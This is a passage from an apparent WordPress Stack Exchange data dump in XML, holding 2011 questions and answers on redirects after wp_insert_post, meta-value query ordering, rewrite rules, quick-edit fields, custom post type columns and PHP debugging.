$_SESSION['booking-form-total-price'] );&#xA;__update_post_meta( $the_post_id, 'activityduration', $_SESSION['booking-form-total-duration'] );&#xA;__update_post_meta( $the_post_id, 'totaldives', $_SESSION['booking-form-total-dives'] );&#xA;&#xA;query_posts('post_type=services'); while (have_posts()) : the_post();&#xA;__update_post_meta( $the_post_id, 'producttitle'.get_the_ID(), $_SESSION['products-form-title'.get_the_ID()]); &#xA;__update_post_meta( $the_post_id, 'productprice'.get_the_ID(), $_SESSION['products-form-price'.get_the_ID()]); &#xA;__update_post_meta( $the_post_id, 'productduration'.get_the_ID(), $_SESSION['products-form-duration'.get_the_ID()]);&#xA;__update_post_meta( $the_post_id, 'productdives'.get_the_ID(), $_SESSION['products-form-dives'.get_the_ID()]);  &#xA;__update_post_meta( $the_post_id, 'productquantity'.get_the_ID(), $_SESSION['products-form-quantity'.get_the_ID()]); &#xA;&#xA; endwhile; &#xA; $linkit = get_permalink($the_post_id);&#xA;wp_redirect($linkit);&#xA;}&#xA;else {;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the wp_redirect is producing the following error &lt;code&gt;Warning: Cannot modify header information - headers already sent by (output started at /home/divethe1/public_html/update/wp-content/themes/master/type-booking.php:18) in /home/divethe1/public_html/update/wp-includes/pluggable.php on line 890&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just so we are on the same page to change $the_post_id to $post_id negated the function and still does not perform the redirect. The function and procedure to make it can be found at &lt;a href=&quot;http://wordpress.stackexchange.com/questions/8569/wp-insert-post-php-function-and-custom-fields&quot;&gt;WP insert post PHP function and Custom Fields&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The objective is therefore to redirect the user to the page created by the wp_insert_post. If anyone can see where I have gone wrong, many thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Marvellous&lt;/p&gt;&#xA;" OwnerUserId="2957" LastActivityDate="2011-02-08T18:45:01.630" Title="WP insert post Redirect after function has executed" Tags="&lt;php&gt;&lt;redirect&gt;&lt;customization&gt;&lt;functions&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="8893" PostTypeId="2" ParentId="8889" CreationDate="2011-02-08T18:28:53.093" Score="1" ViewCount="" Body="&lt;p&gt;Close to this query (dunno if you could choose multiple meta keys - it's possible with orderby):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tf_events_query = new WP_Query( array(&#xA;     'post_type'        =&amp;gt; 'tf_events'&#xA;    ,'posts_per_page'   =&amp;gt; '30'&#xA;    // ordered by meta_valu AND date&#xA;    ,'orderby'          =&amp;gt; 'meta_value date'&#xA;    // or if the meta key value is numeric ordered by num meta value AND date&#xA;    // ,'orderby'       =&amp;gt; 'meta_value_num date'&#xA;    ,'meta_key'         =&amp;gt; 'tf_events_startdate'&#xA;    ,'order'            =&amp;gt; 'ASC'&#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-02-08T18:28:53.093" />
  <row Id="8894" PostTypeId="2" ParentId="8886" CreationDate="2011-02-08T18:41:11.623" Score="2" ViewCount="" Body="&lt;p&gt;What you need to do is set up a custom rewrite.  This can change something like &lt;code&gt;http://site.com/rotate/1&lt;/code&gt; to &lt;code&gt;http://site.com/wp-content/plugins/ad-rotating-plugin/rotate.php?trackerid=1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is some &lt;strong&gt;untested&lt;/strong&gt; code that might help:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Your Plugin&#xA;Plugin URI: &#xA;Description: &#xA;Version: 0.1&#xA;Author: &#xA;Author URI: &#xA;*/&#xA;&#xA;// Add rewrite rule and flush on plugin activation&#xA;register_activation_hook( __FILE__, 'ad_rotate_activate' );&#xA;function ad_rotate_activate() {&#xA;    ad_rotate_rewrite();&#xA;    flush_rewrite_rules();&#xA;}&#xA;&#xA;// Flush on plugin deactivation&#xA;register_deactivation_hook( __FILE__, 'ad_rotate_deactivate' );&#xA;function ad_rotate_deactivate() {&#xA;    flush_rewrite_rules();&#xA;}&#xA;&#xA;// Create new rewrite rule&#xA;add_action( 'init', 'ad_rotate_rewrite' );&#xA;function ad_rotate_rewrite() {&#xA;    add_rewrite_rule( 'rotate/([^/]+)','/wp-content/plugins/ad-rotating-plugin/rotate.php?trackerid=$matches[1]','top' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-02-08T18:41:11.623" CommentCount="11" />
  <row Id="8895" PostTypeId="2" ParentId="8892" CreationDate="2011-02-08T18:45:01.630" Score="1" ViewCount="" Body="&lt;p&gt;Had you tried to output link and verify it is correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you should call &lt;code&gt;die();&lt;/code&gt; right after redirect.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-08T18:45:01.630" CommentCount="1" />
  <row Id="8896" PostTypeId="2" ParentId="8887" CreationDate="2011-02-08T18:51:07.957" Score="1" ViewCount="" Body="&lt;p&gt;Several user-related function are defined conditionally on &lt;code&gt;!function_exists()&lt;/code&gt; in &lt;code&gt;wp-includes/pluggable.php&lt;/code&gt; and are easy to override with your own versions.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-08T18:51:07.957" />
  <row Id="8897" PostTypeId="2" ParentId="8889" CreationDate="2011-02-08T18:54:01.297" Score="1" ViewCount="" Body="&lt;p&gt;Finally got it, thanks for the help guys...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;        $querystr = &quot;&#xA;            SELECT *&#xA;            FROM $wpdb-&amp;gt;posts wposts, $wpdb-&amp;gt;postmeta metadate, $wpdb-&amp;gt;postmeta metatime&#xA;            WHERE (wposts.ID = metadate.post_id AND wposts.ID = metatime.post_id)&#xA;            AND (metadate.meta_key = 'tf_events_startdate' AND metadate.meta_value &amp;gt; $yesterday )&#xA;            AND metatime.meta_key = 'tf_events_starttime'&#xA;            AND wposts.post_type = 'tf_events'&#xA;            AND wposts.post_status = 'publish'&#xA;            ORDER BY metadate.meta_value ASC, metatime.meta_value DESC LIMIT 30&#xA;         &quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;?&gt;&lt;/p&gt;&#xA;" OwnerUserId="2393" LastActivityDate="2011-02-08T18:54:01.297" />
  <row Id="8899" PostTypeId="2" ParentId="8883" CreationDate="2011-02-08T19:52:10.560" Score="0" ViewCount="" Body="&lt;p&gt;This is &lt;strong&gt;untested&lt;/strong&gt; code. See if it works for you. Basically, as you'll read below, I globalize &lt;code&gt;$post&lt;/code&gt;, check for your CPT, and then retrieve the custom field &lt;code&gt;event&lt;/code&gt; from the post's meta (returning a single value -- as set by the &quot;true&quot; in the last parameter).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing you have to do is reference &lt;code&gt;$event&lt;/code&gt; in your jQuery like so: &lt;code&gt;{$event}&lt;/code&gt; to output the value into the javascript. It'll appear &quot;static&quot; but in reality it's dynamic.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_head-edit.php', 'ilc_quickedit_get');&#xA;&#xA;function ilc_quickedit_get()&#xA;{&#xA;    global $post;&#xA;&#xA;    if ( $post-&amp;gt;post_type != &quot;event&quot; )&#xA;        return;&#xA;&#xA;    $event = get_post_meta( $post-&amp;gt;ID, 'event', true ); // gets a *single* option from the postmeta table&#xA;&#xA;$html = &amp;lt;&amp;lt;&amp;lt;HTML&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    jQuery(document).ready(function() {&#xA;        jQuery('a.editinline').live('click', function() {&#xA;            // do something with {$event}&#xA;        });&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;HTML;&#xA;&#xA;    echo $html;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P.S.&lt;/strong&gt; I assigned your HTML code to a PHP variable to make it easier to read and allow you to quickly reference &lt;code&gt;$event&lt;/code&gt; in the jQuery.&lt;/p&gt;&#xA;" OwnerUserId="2322" LastActivityDate="2011-02-08T19:52:10.560" CommentCount="2" />
  <row Id="8900" PostTypeId="1" AcceptedAnswerId="8979" CreationDate="2011-02-08T20:03:15.393" Score="1" ViewCount="160" Body="&lt;p&gt;When my script runs the 4th line below in WP 2.9.2, its causing my web app to throw an &quot;Apache HTTP Service has stopped working&quot; error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cat=get_cat_ID('top-menu');&#xA;$catHidden=get_cat_ID('hidden');&#xA;$myqueryCurrent = new WP_Query();&#xA;$myqueryCurrent-&amp;gt;query(array('cat'=&amp;gt;&quot;$cat,-$catHidden&quot;,'post__not_in'=&amp;gt;get_option('sticky_posts')));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do you see something in that 4th line that's incompatible with WP 2.9.2? The code runs fine on the same server under WP 3.0.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the details of the error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem signature:&#xA;  Problem Event Name:   APPCRASH&#xA;  Application Name: httpd.exe&#xA;  Application Version:  2.2.14.0&#xA;  Application Timestamp:    4aeb9704&#xA;  Fault Module Name:    php5ts.dll&#xA;  Fault Module Version: 5.3.1.0&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-03-11T16:32:35.293" Title="&quot;Apache HTTP Service has stopped working&quot; with WP Query in WordPress 2.9.2" Tags="&lt;errors&gt;&lt;wp-query&gt;" AnswerCount="1" />
  <row Id="8902" PostTypeId="1" AcceptedAnswerId="8907" CreationDate="2011-02-08T20:07:32.820" Score="-2" ViewCount="108" Body="&lt;p&gt;In functions.php I am adding a rewrite rule for this url:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.myblog.com/?currentpage=1&quot; rel=&quot;nofollow&quot;&gt;http://www.myblog.com/?currentpage=1&lt;/a&gt; &lt;br /&gt;&#xA;&lt;a href=&quot;http://www.myblog.com/?currentpage=2&quot; rel=&quot;nofollow&quot;&gt;http://www.myblog.com/?currentpage=2&lt;/a&gt; &lt;br /&gt;&#xA;And so on...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code I use, can u please give me the rewrite rules to transform my urls into pretty ones?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    add_action( 'init', 'wpa5413_init' ); &#xA;    function wpa5413_init() {     &#xA;        // Remember to flush the rules once manually after you added this code!     &#xA;        add_rewrite_rule(           &#xA;            'Please add my rewrite rule',         &#xA;            'Please add my rewrite rule',  &#xA;            'top' ); &#xA;    }&#xA;&#xA;    add_filter('query_vars', 'wpa3537_query_vars'); &#xA;    function wpa3537_query_vars($query_vars) {     &#xA;        $query_vars[] = 'currentpage';     &#xA;        return $query_vars;&#xA;    } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ty!&lt;/p&gt;&#xA;" OwnerUserId="2979" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-02-08T20:57:27.270" LastActivityDate="2011-02-08T21:00:12.860" Title="Please give me the rewrite rules for my ugly urls" Tags="&lt;url-rewriting&gt;&lt;functions&gt;&lt;urls&gt;&lt;mod-rewrite&gt;" AnswerCount="1" />
  <row Id="8903" PostTypeId="1" CreationDate="2011-02-08T20:37:10.863" Score="0" ViewCount="193" Body="&lt;p&gt;I found this on wordpress.org forums. tested it and works fine. When i changed the variables to my own it failed. I checked it thoroughly (!) for hours. i can't see where it's going wrong.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_post_type( 'book', array(&#xA;    'labels' =&amp;gt; array(&#xA;        'name' =&amp;gt; 'Books',&#xA;        'singular_name' =&amp;gt; 'Book',&#xA;        'add_new' =&amp;gt; 'Add New',&#xA;        'add_new_item' =&amp;gt; 'Add New Book',&#xA;        'edit_item' =&amp;gt; 'Edit book',&#xA;        'edit' =&amp;gt; 'Edit',&#xA;        'new_item' =&amp;gt; 'New Book',&#xA;        'view_item' =&amp;gt; 'View Book',&#xA;        'search_items' =&amp;gt; 'Search Books',&#xA;        'not_found' =&amp;gt; 'No books found',&#xA;        'not_found_in_trash' =&amp;gt; 'No books found in Trash',&#xA;        'view' =&amp;gt; 'View Book'&#xA;    ),&#xA;    'public' =&amp;gt; true,&#xA;    'capability_type' =&amp;gt; 'post',&#xA;    'hierarchical' =&amp;gt; false,&#xA;    'rewrite' =&amp;gt; true,&#xA;    'query_var' =&amp;gt; true,&#xA;    'supports' =&amp;gt; array( 'title', 'editor', 'author', 'thumbnail', 'custom-fields', 'comments' ),&#xA;    'taxonomies' =&amp;gt; array('category','post_tag')&#xA;    )&#xA;);&#xA;register_taxonomy(&#xA;    'book_category',&#xA;    'book',&#xA;    array(&#xA;        'hierarchical' =&amp;gt; true,&#xA;        'label' =&amp;gt; 'Categoriën',&#xA;        'public' =&amp;gt; true,&#xA;        'query_var' =&amp;gt; true,&#xA;        'show_tagcloud' =&amp;gt; true,&#xA;        'rewrite' =&amp;gt; Array(&#xA;            'slug' =&amp;gt; 'book_category')&#xA;        )&#xA;);&#xA;function add_new_columns($defaults) {&#xA;    $defaults['book_cats'] = __('Categoriën');&#xA;    return $defaults;&#xA;}&#xA;function add_column_data( $column_name, $post_id ) {&#xA;    if( $column_name == 'book_cats' ) {&#xA;        $_posttype  = 'book';&#xA;        $_taxonomy  = 'book_category';&#xA;        $terms      = get_the_terms( $post_id, $_taxonomy );&#xA;        if ( !empty( $terms ) ) {&#xA;            $out = array();&#xA;            foreach ( $terms as $c )&#xA;                $_taxonomy_title = esc_html(sanitize_term_field('name', $c-&amp;gt;name, $c-&amp;gt;term_id, 'category', 'display'));&#xA;                $out[] = &quot;&amp;lt;a href='edit.php?book_category=$_taxonomy_title&amp;amp;post_type=$_posttype'&amp;gt;$_taxonomy_title&amp;lt;/a&amp;gt;&quot;;&#xA;            echo join( ', ', $out );&#xA;        }&#xA;        else {&#xA;            _e('Uncategorized');&#xA;        }&#xA;    }&#xA;}&#xA;add_filter( 'manage_book_posts_columns', 'add_new_columns' );&#xA;add_action( 'manage_posts_custom_column', 'add_column_data', 10, 2 ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My edited version (the newly &quot;adjusted&quot; one that now does something!):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_post_type( 'frog', array(&#xA;    'labels' =&amp;gt; array(&#xA;        'name' =&amp;gt; 'Frog',&#xA;        'singular_name' =&amp;gt; 'Frog',&#xA;        'add_new' =&amp;gt; 'Add New',&#xA;        'add_new_item' =&amp;gt; 'Add New frog',&#xA;        'edit_item' =&amp;gt; 'Edit frog',&#xA;        'edit' =&amp;gt; 'Edit',&#xA;        'new_item' =&amp;gt; 'New frog',&#xA;        'view_item' =&amp;gt; 'View frog',&#xA;        'search_items' =&amp;gt; 'Search frogs',&#xA;        'not_found' =&amp;gt; 'No frogs found',&#xA;        'not_found_in_trash' =&amp;gt; 'No frogs found in Trash',&#xA;        'view' =&amp;gt; 'View frog'&#xA;    ),&#xA;    'public' =&amp;gt; true,&#xA;    'capability_type' =&amp;gt; 'post',&#xA;    'hierarchical' =&amp;gt; false,&#xA;    'rewrite' =&amp;gt; true,&#xA;    'query_var' =&amp;gt; true,&#xA;    'supports' =&amp;gt; array( 'title', 'editor', 'author', 'thumbnail', 'custom-fields', 'comments' ),&#xA;    'taxonomies' =&amp;gt; array('category','post_tag')&#xA;    )&#xA;);&#xA;register_taxonomy(&#xA;    'frog_category',&#xA;    'frog',&#xA;    array(&#xA;        'hierarchical' =&amp;gt; true,&#xA;        'label' =&amp;gt; 'Categories',&#xA;        'public' =&amp;gt; true,&#xA;        'query_var' =&amp;gt; true,&#xA;        'show_tagcloud' =&amp;gt; true,&#xA;        'rewrite' =&amp;gt; Array(&#xA;            'slug' =&amp;gt; 'frog_category')&#xA;        )&#xA;);&#xA;function add_new_frogcolumns($defaults) {&#xA;    $defaults['frog_cats'] = __('Categories');&#xA;    return $defaults; //missing as pointed out by scribu&#xA;}&#xA;function add_frogcolumn_data( $column_name, $post_id ) {&#xA;    if( $column_name == 'frog_cats' ) {&#xA;        $_posttype  = 'frog';&#xA;        $_taxonomy  = 'frog_category';&#xA;        $terms      = get_the_terms( $post_id, $_taxonomy );&#xA;        if ( !empty( $terms ) ) {&#xA;            $out = array();&#xA;            foreach ( $terms as $c )&#xA;                $_taxonomy_title = esc_html(sanitize_term_field('name', $c-&amp;gt;name, $c-&amp;gt;term_id, 'category', 'display'));&#xA;                $out[] = &quot;&amp;lt;a href='edit.php?frog_category=$_taxonomy_title&amp;amp;post_type=$_posttype'&amp;gt;$_taxonomy_title&amp;lt;/a&amp;gt;&quot;;&#xA;            echo join( ', ', $out );&#xA;        }&#xA;        else {&#xA;            _e('Uncategorized');&#xA;        }&#xA;    }&#xA;}&#xA;add_filter( 'manage_frog_posts_columns', 'add_new_frogcolumns' );&#xA;add_action( 'manage_posts_custom_column', 'add_frogcolumn_data', 10, 2 );//this line was also wrong&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2011-07-25T15:15:59.433" Title="A simple script to allow sorting of custom posts in admin?" Tags="&lt;custom-post-types&gt;&lt;admin&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="8904" PostTypeId="2" ParentId="8903" CreationDate="2011-02-08T20:50:48.547" Score="1" ViewCount="" Body="&lt;p&gt;That script doesn't allow sorting, just displaying a custom column. Is that the original script or the modified one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that register_post_type() and register_taxonomy() shouldn't be called directly, but in a callback hooked to the 'init' action. Working version:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_init() {&#xA;    register_post_type( 'frog', array(&#xA;        'labels' =&amp;gt; array(&#xA;            'name' =&amp;gt; 'Frog',&#xA;            'singular_name' =&amp;gt; 'Frog',&#xA;            'add_new' =&amp;gt; 'Add New',&#xA;            'add_new_item' =&amp;gt; 'Add New frog',&#xA;            'edit_item' =&amp;gt; 'Edit frog',&#xA;            'edit' =&amp;gt; 'Edit',&#xA;            'new_item' =&amp;gt; 'New frog',&#xA;            'view_item' =&amp;gt; 'View frog',&#xA;            'search_items' =&amp;gt; 'Search frogs',&#xA;            'not_found' =&amp;gt; 'No frogs found',&#xA;            'not_found_in_trash' =&amp;gt; 'No frogs found in Trash',&#xA;            'view' =&amp;gt; 'View frog'&#xA;        ),&#xA;        'public' =&amp;gt; true,&#xA;        'capability_type' =&amp;gt; 'post',&#xA;        'hierarchical' =&amp;gt; false,&#xA;        'rewrite' =&amp;gt; true,&#xA;        'query_var' =&amp;gt; true,&#xA;        'supports' =&amp;gt; array( 'title', 'editor', 'author', 'thumbnail', 'custom-fields', 'comments' ),&#xA;        'taxonomies' =&amp;gt; array('category','post_tag')&#xA;        )&#xA;    );&#xA;    register_taxonomy(&#xA;        'frog_category',&#xA;        'frog',&#xA;        array(&#xA;            'hierarchical' =&amp;gt; true,&#xA;            'label' =&amp;gt; 'Categories',&#xA;            'public' =&amp;gt; true,&#xA;            'query_var' =&amp;gt; true,&#xA;            'show_tagcloud' =&amp;gt; true,&#xA;            'rewrite' =&amp;gt; Array(&#xA;                'slug' =&amp;gt; 'frog_category')&#xA;            )&#xA;    );&#xA;}&#xA;&#xA;function add_new_frogcolumns($defaults) {&#xA;    $defaults['frog_cats'] = __('Categories');//frog_cats relates to? &#xA;    return $defaults;&#xA;}&#xA;function add_frogcolumn_data( $column_name, $post_id ) {&#xA;    if( $column_name == 'frog_cats' ) {&#xA;        $_posttype  = 'frog';&#xA;        $_taxonomy  = 'frog_category';&#xA;        $terms      = get_the_terms( $post_id, $_taxonomy );&#xA;        if ( !empty( $terms ) ) {&#xA;            $out = array();&#xA;            foreach ( $terms as $c )&#xA;                $_taxonomy_title = esc_html(sanitize_term_field('name', $c-&amp;gt;name, $c-&amp;gt;term_id, 'category', 'display'));&#xA;                $out[] = &quot;&amp;lt;a href='edit.php?frog_category=$_taxonomy_title&amp;amp;post_type=$_posttype'&amp;gt;$_taxonomy_title&amp;lt;/a&amp;gt;&quot;;&#xA;            echo join( ', ', $out );&#xA;        }&#xA;        else {&#xA;            _e('Uncategorized');&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;add_action('init', 'my_init');&#xA;add_filter( 'manage_frog_posts_columns', 'add_new_frogcolumns' );&#xA;add_action( 'manage_frog_custom_column', 'add_frogcolumn_data', 10, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-02-13T17:13:11.183" LastActivityDate="2011-02-13T17:13:11.183" CommentCount="7" />
  <row Id="8905" PostTypeId="1" AcceptedAnswerId="8922" CreationDate="2011-02-08T20:53:17.010" Score="2" ViewCount="147" Body="&lt;p&gt;I am trying to find the best way to monitor which PHP code/functions, MySQL requests and/or plugins are slowing down pages on a site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there are a bunch of different options out there including wordpress plugins and solutions involving firebug (firephp) but what do you guys feel is the best approach?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I feel the ideal solution would be to have some type of code which can be installed by default with every wordpress install. Any debugging/monitoring/reporting would ONLY get executed if you added an optional entry to the end of the URL like ?=debug. For security purposes it would be even better if one would first have to login to the wordpress admin area and create a temp debug key which would create a hashed key and append it to the url (like debugkey=v09098v09aq2ov1a8923) which would only be available for 30 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But getting back to the actual debug info... I feel using firebug is great in many situations but optionally I feel it would be valuable if one could append something else to any URL which would for example overlay all the functions, hooks or filters used on a specific page along with the execution time for each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case... I figured many of you here must have faced this issues as well and thus I would appreciate whatever solutions you are utilizing to solve your problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please do outline how any specifics for others that might read this describing any specifics on installation and how to use it correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;UPDATED&lt;/em&gt;&lt;/strong&gt;&#xA;Running a Dedicated Linux Server &lt;/p&gt;&#xA;" OwnerUserId="479" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-02-09T00:13:55.023" LastActivityDate="2011-02-09T11:11:49.360" Title="What is the best way to monitor PHP functions/executions?" Tags="&lt;errors&gt;&lt;wp-debug&gt;&lt;logging&gt;&lt;debug&gt;" AnswerCount="4" FavoriteCount="4" />
  <row Id="8906" PostTypeId="2" ParentId="7474" CreationDate="2011-02-08T20:59:43.070" Score="0" ViewCount="" Body="&lt;p&gt;I updated to WP 3.0.5 a couple of days ago and the problem persisted. I just updated to &lt;a href=&quot;http://blog.akismet.com/2011/02/08/akismet-plugin-version-2-5-3-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Askimet 2.5.3&lt;/a&gt;, and voila!, the logout problem is solved.&lt;/p&gt;&#xA;" OwnerUserId="2660" LastActivityDate="2011-02-08T20:59:43.070" />
  <row Id="8907" PostTypeId="2" ParentId="8902" CreationDate="2011-02-08T21:00:12.860" Score="1" ViewCount="" Body="&lt;p&gt;if you are trying to get &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.myblog.com/currentpage/1&quot; rel=&quot;nofollow&quot;&gt;http://www.myblog.com/currentpage/1&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.myblog.com/currentpage/2&quot; rel=&quot;nofollow&quot;&gt;http://www.myblog.com/currentpage/2&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;then your function should be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('generate_rewrite_rules', 'currentpage_rewrite_rule_222');&#xA;&#xA;function currentpage_rewrite_rule_222($wp_rewrite){&#xA;  $newrules = array();&#xA;  $new_rules['currentpage/(\d*)$'] = 'index.php?currentpage=$matches[1]';&#xA;  $wp_rewrite-&amp;gt;rules = $new_rules + $wp_rewrite-&amp;gt;rules;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and just keep your query_vars function the way it is.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; add_filter('query_vars', 'wpa3537_query_vars'); &#xA;    function wpa3537_query_vars($query_vars) {     &#xA;        $query_vars[] = 'currentpage';     &#xA;        return $query_vars;&#xA;    } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-08T21:00:12.860" CommentCount="5" />
  <row Id="8908" PostTypeId="2" ParentId="8883" CreationDate="2011-02-08T21:07:36.017" Score="1" ViewCount="" Body="&lt;p&gt;Ok, I got it, here's the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ilc_quickedit_save($post_id, $post) {&#xA;    if( $post-&amp;gt;post_type != 'evento' ) return;&#xA;    if (isset($_POST['is_quickedit']))&#xA;        update_post_meta($post_id, 'eventdate', $_POST['eventdate']);&#xA;}&#xA;&#xA;function ilc_quickedit_get() { &#xA;    $html = '&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;';&#xA;    $html .= 'jQuery(document).ready(function() {';&#xA;        $html .= 'jQuery(&quot;a.editinline&quot;).live(&quot;click&quot;, function() {';&#xA;&#xA;        $html .= 'var id = inlineEditPost.getId(this);';&#xA;        $html .= 'jQuery.post(&quot;' . THEME_URI . '/library/admin/admin.php&quot;,{ post_id: id, modo: &quot;ajaxget&quot; },';&#xA;        $html .= 'function(data){ jQuery(&quot;#eventdate&quot;).val(data); }';&#xA;&#xA;    $html .= ');});});';&#xA;    $html .= '&amp;lt;/script&amp;gt;';&#xA;    echo $html;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the code at the beginning of the admin.php file (which is the same file where all this code is located):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($_POST['modo'] == 'ajaxget'){&#xA;    require_once('../../../../../wp-blog-header.php');&#xA;    $post_id = $_POST['post_id'];&#xA;    echo get_post_meta($post_id, 'eventdate', true);&#xA;    return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So far so good, maybe there are other ways to do it. Still need to deal with saving while in bulk editing mode. Could use a hand there too :) Hope this is useful for someone.&lt;/p&gt;&#xA;" OwnerUserId="3013" LastActivityDate="2011-02-08T21:07:36.017" />
  <row Id="8909" PostTypeId="2" ParentId="8876" CreationDate="2011-02-08T21:18:07.520" Score="1" ViewCount="" Body="&lt;p&gt;There's a discussion on Wordpress.org support forums about this exact issue. The OP on that discussion has come up with an answer but is yet to post it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/error-404-on-pagination-when-changing-posts_per_page-on-query_posts&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/error-404-on-pagination-when-changing-posts_per_page-on-query_posts&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help anyway.&lt;/p&gt;&#xA;" OwnerUserId="3014" LastActivityDate="2011-02-08T21:18:07.520" />
  <row Id="8911" PostTypeId="2" ParentId="2802" CreationDate="2011-02-08T21:39:06.857" Score="2" ViewCount="" Body="&lt;p&gt;The nav menu output includes lots of classes for current item, current item ancestor, etc. In some situations, I have been able to do what you want to do by letting the entire nav tree output, and then using css to pare it down to only children of the current page, etc.&lt;/p&gt;&#xA;" LastActivityDate="2011-02-08T21:39:06.857" />
  <row Id="8912" PostTypeId="1" CreationDate="2011-02-08T21:41:20.193" Score="0" ViewCount="126" Body="&lt;p&gt;I have a client who wants to register users and give them a unique ID number when they complete registration. (Kind of a member number sort of thing) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I just setup the WP member table to start id numbers in the high 10 digit range?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User experience would be:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;user would visit the site &lt;/li&gt;&#xA;&lt;li&gt;user would register &lt;/li&gt;&#xA;&lt;li&gt;WP would issue an 10 digit id number&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2469" LastActivityDate="2011-02-09T11:34:58.137" Title="What is the fastest way to generate a unique id number when registering a user" Tags="&lt;database&gt;&lt;registration&gt;" AnswerCount="3" CommentCount="1" />
